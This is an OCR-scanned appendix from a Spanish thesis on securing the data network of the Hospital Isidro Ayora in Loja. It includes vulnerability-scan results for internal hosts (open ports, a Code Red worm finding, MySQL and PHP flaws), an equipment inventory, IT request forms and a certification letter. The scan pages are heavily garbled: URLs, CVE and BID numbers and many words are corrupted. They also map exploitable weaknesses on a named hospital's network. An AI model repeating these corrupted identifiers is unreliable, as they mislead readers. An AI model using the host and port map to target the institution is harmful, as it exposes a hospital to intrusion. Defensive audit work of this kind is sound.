10,104,32.52 ms-lza (1025 udp) Security nokels)
10.104,32.52 menandrice-lpr (1231 fudp) Security note(s)
10,104,32.52 nkp (123 udp) Security nokels)
10.104,32.52 snmp (161 fudp) Security holels)
Sulnerability http (20jtcp) Your machine is infected with the 'Code Red' worm, Your Windaws system seems ta be compramised,

Salution:
1) Remowe the file root.exe Fam both directorias:
linetpublscrpts

and
Iprogran fleslzommon Rlesisysternimsad:

2) Install an updated antivirus program (this will rernowe the Explarer.ere Trajan)

3] Set SFCDisable in hkimnlzoftwarelmicrosoftwindaws ntlourrentversioniwinlogon to: 0
4] Remowe the two newly created virtual directories: C and D (Created by the Trajan)
51 Make sure no other fles have been modified,

It is recornrnended that hosts that hawe been compromised by Code Red X would reinstall the aperating systern from scratch
Risk Factar : High

Additional infarmation:

hittp Moy securitearn.comysecutitynews SEPIY 004U hitral

btk T securitearncomywindawsntfocus S WPOLOOMLIS htrml
hittp: Sy cett orgladwizoriesiCA-2001- 11 html

hittp s Mwavovs ricrazoft comtechnet itsolutions/security ftools redfiz asp

CVE ¢ CVE-2001-0500
BID ; 2880
OI0 : 1.3.6.14.1.25623,1.0,10713

253




m 7S
\ .4

Analisis y Disefio del Esquema de Seguridad de la red de datos del H.I.A.L.

Address of Host Port/Service Issue regarding Port
10.104,32,51 ftp {21)kcp) Security notels)
10.104,32.51 epmap (135/tcp) Security warning(s)
10.104,32.51 nethios-ssn (139/tcp) Security notels)
10.104.32.51 microsoft-ds (445/kcp) Security hole(s)
10.104.32.51 ms-sql-s (1433 kcp) Security holels)
10,104,32.51 cpg-whem (2301 /tcp) Security warning(s)
10,104,32.51 compag-htkps (2331 tcp) Security warning(s)
10,104,32.51 ms-olap4 (2363 tcp) Security notels)
10,104,32.51 mysql (3306/kcp) Security holels)
10.104,32,51 ms-whk-server (3389 /tcp) Security notels)
10.104,32.51 Irs-paging (3700/tcp) Security notels)
10.104,32.51 appsery-htkp (4548 tcp) Security notels)
10.104.32.51 vnc-htkp (5800/tcp) Security notels)
10.104.32.51 wnc (5900, tcp) Security notels)
10,104,32.51 imgbrokerd (7a76kcp) Security notels)
10,104,32.51 ajpl3 (8009/tcp) Security notels)
10,104,32.51 http-alt {30580/tcp) Security warning(s)
10,104,32.51 homepage (31581 /tcp) Security notels)
10,104,32,51 generalftcp Security warning(s)
10.104,32.51 ssh (22/tcp) Mo Information
10.104,32.51 nethios-ns (137 fudp) Security warning(s)
10.104.32.51 unknown (43152 tcp) Security notels)
10.104.32.51 unknown (49153 tcp) Security notels)
10,104,32.51 unknown (49154 tcp) Security notels)
10,104,32.51 unknown (49155 tcp) Security notels)
10,104,32.51 unknown (49159 tcp) Security notels)
10,104,32.51 unknown (49220/tcp) Security notels)
10,104,32,51 ms-sql-m {1434 udp) Security notels)
10.104.32 51 generalficmp Security warning(s )
10.104,32.51 general/SMEClient Security notels)
10.104.32.51 general/HOST-T Mo InFarmation
10.104.32.51 general/CPE-T Mo Information
Wilner abilicy mvsgl (Z3065Ecp)  [Cverview:

My3OL is prone ko a buffer-overflow vulnerability because it Fails ko
petform adequate boundary checks on user-supplied data.

An authenticated attacker can leverage this issue bo execute arbitrary
code within the conkext of the wulnerable application. Failed exploit
attempts will result in a denial-of -service condition.

Versions prior to MySOL 5.1,47 are vulnerable,

References:

hkkps f e, secarityFocus, comfbidf40106

http: /idew . mysgl.com/docrefman's, 1 jen/news-5-1-47, hkm
http: ffbugs. myvsgl.combug, phprid=53237

hikkps f e, gl comy)

CWE @ CWE-2010-1850

EID : 40106

OID o 1.3.6.1.4.1,25623.1.0, 100646
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Address of Host

Port/Service

Issue regarding Port

10.104,33.2 ssh (22 kcp) Security nokels)
10.104.33.2 smikp (25/tcp) Security nokels)
10.104,33.2 http &0/ tcp) Security holeds)
10.104,33.2 pop3 (110/kcp) Security nokels)
10.104,33.2 sunrpe (111/kep) Securiby nokels)
10.104,33.2 imap {143/kcp) Securiby nokels)
10.104,33.2 https (4430kcp) Securiby holeds)
10.104.33.2 imaps {993/tcp) Security nokes)
10.104.33.2 pop3s (995/kcp) Security nokes)
10.104.33.2 callbook {2000)kcp) Mo Information
10,104,33.2 mysgl (3306/tcp) Security nokels)
10,104,33.2 upnotifyp (4445kcp) Mo Information
10.104,33.2 hivlafa (4559 kcp) Mo Information
10.104,33.2 generalitcp Security nokels)
10.104,33.2 sunrpe (111 udp) Security nokels)
10.104,33.2 =ip (50A0/udp] Security nokels)
10.104,33.2 =ip (S0A0/kcp) Securiby watning(s)
10.104,33.2 ntp (123 udp) Securiby watning(s)
10.104,33.2 tfbp (69 /udp) Security nokels)
10.104,33.2 generalficmp Securiby warningls)
10.104,33.2 ntp {123kcp) Security warning(s)
10.104,33.2 urknawn (4569 kap) Securiby nokels)
10.104,33.2 generalfHOST-T Mo InfFarmation
10.104.33.2 generalfCPE-T Mo Information
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Yulner ability https (443/tcp) Overvicw:
PHP is prone ko a wulnerability that an attacker could exploit ko
execute arbitrary code with the privileges of the user running the
affected application. Successful exploits will compromise the
application and possibly the computer.,

References:

hkkps: fiweans, securityfocus, comfbidf 40945

https: fibugzilla. redhat, comshow _bug, cgivid=605641
hkkp: s, php. nek

CYWE 1 CVE-2010-2229

BID @ 40945

oID : 1.3.6.1.4.1,. 256235, 1.0, 100654

vulner ability https (443 tcp)

Cverview
The host is running PHP and is prone to denial of service vulnerability .

Yulnerability Insight:

This bug is due to an error in ‘'mbstring. func_owverload' setting in .htaccess
file. It can be exploited wia modifying behavior of other sites hosted on

the same web server which causes this setting to be applied ko other wirtual
hosts on the same server.

Impack:
SuccessFul exploitation will lek the local attackers to crash an affected web
sServer.,

Impact Level: Application

Affected SoftwarefOS:
PHF wersion 4.4.4 and prior
PHF 5.1.x 0 5.1.6

PHP 5.2 x 0 5.2.5

Fix: Mo solukion or patch is available as on 17th March, 2009, Information
regarding this issue will be updated once the solution details are available.
For updates refer, http: v, php.net

References:
hktp: ffbugs. php . netfbug, phprid=27421
https: fibugzilla. redhat. comshow_bug. cgizid=479272

WSS Score:

CWSS Base Score ¢ 2.1 (A LA LA MRACINILIP A M)
WSS Temporal Scare @ 1.9

Risk Factor: Medium

CWE @ CVE-2009-0754

BID @ 535542

OID : 1.3.6.1.4.1.25623,1.0.800373
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ANEXO E. INVENTARIO DE EQUIPOS

ANEXO E.1. ESPECIFICACIONES TECNICAS DEL HARDWARE ACTUAL

«+ Servidores

SERVIDOR MODELO CARACTERISTICAS FUNCION
IBM 5400 Memoria: 785.944KB SERVIDOR DE
NEFINITY Almacenamiento: SEGURIDAD DE
500 4RY 4 Discos IBM SCSI 10 GB ACTIVE
Red: DIRECTORY
Adaptador PClI IBM  10/100
Ethernet
IBM 10/100 Netfinity
S.0: Windows 2000 SP 4
HP DL 380 G5 | Procesador: Core 2 Quad Intel SERVIDOR DE
PROLIANT Xeon 5450 (3.0 GHZ) APLICACIONES
Memoria: 12MB
Almacenamiento:
2 Discos 146 GB 10 K SAS 2.5
Red: E400/512MB Raid
S.0: Windows Server 2008 SP2
HP ML 110G6 Procesador: Quad Core Intel | SERVIDOR DE VOZ
Xeon
X3430 (2.40 GHZ2)
Memoria: 2GB exp 8 GB DDR3
Almacenamiento:
Disco 500 GB SATA
Red: Controladora Ethernet CbE
S.0: Centos 5.3
Tabla 54. Especificaciones Técnicas del Hardware.
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Equipos de Networking

#

EQUIPO

MODEL
@)

CARACTERISTICAS

FUNCION

SWITCH
CATALYST
CIsCo
Nivel 2

2900
Se XL

Conmutacion 3.2 Gbps
Ancho de banda 1,6 Gbps
Envio de paquetes: 3
millones de paquetes por
segundo

Memoria8 MB de DRAM vy 4
MB de memoria Flash
Direcciones MAC:2048
Estandar:
DuplexcompletolEEE802.3xen
puertos 10BaseT y 100BaseT
Puertos:

Puertos para conectores RJ-
45

Un puerto de consolaRJ-45

DISTRIBUCION Y
ACCESO

SWITCH
3Com
Nivel 2Y 3

4500
26 port

Ancho de banda 8,8 Ghps
Envio de paquetes: 6,5
millones de paquetes por
segundo

Direcciones MAC:8000
Apilamiento: 8 unidades de
switch, o 384 puertos 10/100
Estandar 802.1X

Puertos:

24 puertos 10BASE-
T/100BASE-TX con auto-
negociaciéon MDI/MDIX.

2 pares de puertos Gigabit de
uso dual: para RJ45 (cobre), o
interfaces basadas en SFP

(fibra).

Seguridad:

RADIUS, RADA (acceso a
dispositivo autenticado

mediante RADIUS)

Control de puertos ACL
Soporte de Secure Shell
(SSHv2) y SNMPv3

Capa 2:VLANs basadas en
puerto (802.1Q):

CORE
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Capa 3:Routing basado en
hardware

Sistema operativo: Sistema
operativo de 3Com

Switch 4210 Conmutacion: 5,2 Gbps, DISTRIBUCION
3Com 26 port | velocidad de transmision de
Nivel 2 hasta 3,9 Mpps

Puertos: 26 puertos

disponibles en total, que

consisten en:

24 puertos 10BASE-

T/100BASE-TX, 2 puertos

10/100/1000 o SFP, Puerto de

consola RJ-45

Capa 2: Soporte de VLAN

IEEE 802.1Q

Seguridad: Login de red IEEE

802.1X, autenticacion de

servidor RADIUS, RADA.
Router 3640 Conmutacion: Entre 50 y 70 DE BORDE
Cisco kpps ISP

Procesador: 100-MHz IDT

R4700 RISC

Memoria Flash: 8 MB,

ampliables a 32 MB.

Memoria del Sistema: 16 MB

DRAM, ampliables a 128 MB

de DRAM.

Ranuras para mdédulos de

red: 4
Access WAP54 | Estandares: |EEE 802.11g, WIRELESS
Point G IEEE 802.11b, IEEE 802.3,

IEEE 802.3 u

Puertos: Puerto  cruzado
automatico (MDI/MDI-x)
10/100, Puerto de
alimentaciéon, botones de
reinicio y SES

Cable: Categoria 5

(Conectores RJ-45)
Transferencia: hasta 54 Mpps
Seguridad: WPA, WEP
64/128 bits, MAC Filtering,
SSID Broadcast
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1 Access DIR 400 | Conmutacién: 108Mbps de WIRELESS
Point velocidad Inaldmbrica (Turbo
Mode).
Estandares: IEEE 802.11b/g
Seguridad: WEP WPA (TKIP)
y WPA2 (AES).Proteccion
avanzada junto a un firewall
incorporado
Puertos: 4 Puertos
10/100MbpsSwitch
incorporados para conexion de
equipos de red en forma
cableada
Asistente de configuraciéon
rapida de D-link Quick Router
Setup
1 Switch DES- Puertos: 8 puertos 10 DISTRIBUCION
D-LINK 10082 | 100Base-TX
Soporte de Auto MDI MDI-X
en todos los puertos
Control de Flujo: 802.3x en
cada puerto. Plug&Play, no
requiere configuracion.
1 Switch Advante | Puertos:24 puertos 10/100 DISTRIBUCION
k Mbps P/Rack.
Estandares: IEEE  802.3,
802.3u, 802.3x
Velocidad:10/100M (1000M)
Auto-Sensing
Memoria: 1.5 Mb
Tipo de procesamiento:
Store and Forward, Full/Half
Duplex, Non-Blocking Flow
Control

Tabla 55. Equipos de Networking.

+» Estaciones de Trabajo

La informacion que a continuacion se detalla corresponde al inventario de los activos

de la red, proporcionado por el administrador del centro de cémputo.

— La mayoria de los estaciones de trabajo corresponden a la tecnologia Core 2 Duo
de 2.35 GHz con GB de memoria RAM y 250 a 500 GB en disco duro, existen
también computadores Pentium IIl de 548 y 797 MHz con 512 MB de RAM y 20 a
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80 GB en disco duro; y Pentium IV de 2 GHz con 512MB de RAM, 40 y 80 GB en
disco duro. El resto de los equipos son Pentium IV, Pentium D, Celeron, Pentium
Dual y Dual Core.

— La mayoria de los computadores tienen el Sistema Operativo Windows XP Service
Pack 2.

Existen 5 computadores portatiles ubicados en distintas dreas como Direccion, Sub-
Direccion, Gestién Financiera, Mantenimiento y Centro de Computo, con las siguientes

caracteristicas:

— Sistema Operativo Windows Vista en portatil de Centro de Cémputo, Subdireccién
y Asesoria Juridica, Windows 2000 en portétil del consultorio de Fisiatria y
Windows XP en portatiles de Direccion, Mantenimiento y Gestion Financiera.

— Tecnologia de procesador: Core 2 Duo, Pentium, Dual Core, Pentium IV y Pentium
| respectivamente, con velocidad de 1.6 a 3 GHz,2 a 3GB de memoria, 250 y 300

GB en disco duro.
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ANEXO E.2. EQUIPOS POR DEPARTAMENTO O PROCESO

A continuacibn se muestra el numero de equipos que se encuentran en

funcionamiento:

Departamento Equipos en uso
DIRECCION 2
SUB 3
DIRECCION
RECURSOS Y TALENTO HUMANO 5
GESTION FINANCIERA 10
ADMINISTRACION DE CAJA 4
PROVEEDURIA — COMPRAS PUBLICAS 2
SERVICIOS INSTITUCIONALES 2
ASESORIA JURIDICA 3
2
7
5

COMITE DE ADQUISICIONES
ESTADISTICA
ASEGURAMIENTO DE LA CALIDAD
CONSULTA EXTERNA 31
GESTION DE ENFERMERIA 2
SOAT 2
EMERGENCIA 2
2
6

CENTRO DE COMPUTO
IMAGENOLOGIA — RAYOS X
LABORATORIO 11
FARMACIA 4
OFERTA'Y DEMANDA 3
1
5

TRANSPORTES Y SERVICIOS
SERVICIOS DE MANTENIMIENTO Y
LIMPIEZA

HOTELERIA

HOSPITALIZACION

CENTRO QUIRURGICO

CENTRO OBSTETRICO —~NEONATOLOGIA
BODEGA GENERAL

UNIDAD DE HEMODIALISIS

UNIDAD DE QUEMADOS

UNIDAD DE CUIDADOS INTENSIVOS

NININWELINOOW

Total: 135

Tabla 56. Equipos por departamento o0 proceso.
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ANEXO F. ADQUISICIONES DE HARDWARE PARA EL
ESQUEMA DE SEGURIDAD

ESPECIFICACIONES TECNICAS

EQUIPO CARACTERISTICAS

SWITCH HP JEO45A Memoria y Procesador: Broadcom 5836, 64 MB de
SDRAM, tamafio de bufer de paquetes: 32 MB, 8 MB de
memoria Flash

Velocidad: 6,5 millones de pps

Capacidad de encaminamiento: 8,8 Ghps

Puertos: 24 puertos RJ-45 10/100 de deteccion
automatica (IEEE 802.3 tipo 10Base-T, IEEE 802.3u
tipo 100Base-TX), duplex: semi o completo; 2 puertos
de doble funcién, puertos 10BASE-T/100BASE-
TX/1000BASE-T 0 1000BASE-X (SFP); 1 puerto serie
RJ-45 para consola

Tamanfo en la tabla de enrutamiento: 2000 entradas
Funciones de gestion: IMC - Intelligent Management
Center; interfaz de linea de comandos; Navegador
Web; administracion fuera de banda (RS-232C serie);
Administrador de SNMP; Telnet; MIB Ethernet IEEE

802.3
SERVIDOR HP PROLIANT Procesador: Intel® Xeon® X3430 (4 ndcleos, 2,40
ML 110 G6 GHz, 8 MB L3, 95 W)

Numero de procesadores: 1

Nucleo de procesador disponible: 4

Memoria, estandar: 1GB

Ranuras de memoria: 4 ranuras DIMM

Tipo de memoria: PC3-10600E-9

Ranuras de expansion: 4

Controlador de red: (1) Puerto 1, 1 GbE NC107i
Tipo de fuente de alimentacion: (1) 300 W
Controlador de almacenamiento: (1) Smart Array
B110i SATA RAID

Software de gestion: N/D

Tipo de unidad 6ptica: DVD-ROM SATA media altura

TARJETA DE RED Embedded HP NC107i PCl Express Gigabit Server
FIREWALL Adapt.

Tabla 57. Adquisiciones de hardware para el Esquema de Seguridad.
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ANEXO G. ORDENES DE TRABAJO DE LA UNIDAD DE
GESTION INFORMATICA

HOSPIALPROVINCIAL GRNERAL SDRO AYORA'DELOM

~Gestion Informatica

FORMULARIOS

En este subproceso se utiliza dos formularios los cuales son para pedido de trabajo (Formulario
Nro. 1) o préstamo de equipo informatico (Formulario Nro. 2).

FORMULARIO Nro. 1: ORDEN DE TRABAJO

ﬁ ORDEN DE TRABAJO A CENTRO DE COMPUTO
Departamento que envia: ................ccooueveiiiiiivicce i
Hord: =82 e

Tipo de mantenimiento: Preventivo O Correctivo [0

Equipos: Monitor O CPU O TecladoOO Mouse O Impresora O
Telefonia O

Redes O  Seguridades O Internet O Olrosma .

Descripcion del Tabajo:

NOMBIB: si%siiiseiinsussicansiassscrnains

Recibo Conforme

Revisado por
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HOPITAL PROVINCLAL GENERAL RO AYORA"DELOIA

Gestion Informatica

FORMULARIO Nro. 2: PEDIDO DE EQUIPOS INFORMATICOS

HOSPITAL ISIDR 5 AvORA
CENTRO DE. Coppo

Fecha: :

Hora de Inicio: . HoraFinal:
Responsable: Ol
Autorizado por:

Préstamo de:

PROYECTOR: SI (O N O
PORTATIL: sl

OTROS:

Nota: Los equipos se encuentran en buen estado de funcionamiento. En caso de dafio alguno, el
responsable debera cubrir con los gastos que esto traiga e incluso la reposicion de uno nuevo.

R e e PR e R e R
Técnico de Centro de Computo Autorizado por: Recibo Conforme
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ANEXO H. FOTOS
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llustracion 139. Edificio de Hemodialisis.
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< INSTALACIONES FISICAS DE LA UNIDAD DE GESTION INFORMATICA

llustracién 141. Cableado en cuarto de telecomunicaciones
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< SEGURIDAD FISICA

llustraciéon 142. Extintor de incendios llustracion 143. Aire Acondicionado

llustracién 145. UPS

llustracion 146. Materiales de bodega.
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% EQUIPOS PARA LA IMPLEMENTACION DEL ESQUEMA DE SEGURIDAD
LOGICO

llustracion 150. Equipos de configuracién y

llustracion 149. Servidores instalados
pruebas

A ©

., I
k) .,

-

llustracion 151. Servidor Zentyal ~ llustracion 152. Servidor Zentyal llustracién 153. Servidor
DHCP Firewall AlienVault
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<+ PRESENTACION DEL ESQUEMA DE SEGURIDAD Y POLITICAS DE USUARIO
FINAL A LOS JEFES DEPARTAMENTALES DE LA INSTITUCION

llustracion 155. Jefes departamentales de la Institucion.
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ANEXO |. CERTIFICACION HOSPITAL ISIDRO AYORA

HOSHITAL PROVINCTAL GENERAL ‘5RO AYORA™DELOIA
GESTION INFORMATICA

Mgs. Ing.

Mario Enrique Cueva Hurtado

ADMINISTRADOR DE LA UNIDAD DE GESTION INFORMATICA DEL HOSPITAL
PROVINCIAL ISIDRO AYORA LOJA

CERTIFICO:

Haber supervisado y validado la Implementacion del Esquema de Seguridad Légica de
la red de datos de la Institucién, desarrollado por Andrea Elizabeth Diaz Chavez y
Jhomara Tatiana Luzuriaga Carpio como parte del proyecto de tesis titulado: “Andlisis
y Disefio de un Esquema de Seguridad para la red de datos del Hospital Isidro Ayora
de la ciudad de Loja e implementaciéon de la Seguridad Légica utilizando software
libre”, el cual una vez validado en la fase de pruebas cumple con los requerimientos
planteados. )

Particular que comunico para los fines legales pertinentes.
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ANEXO J. ANTEPROYECTO DE TESIS
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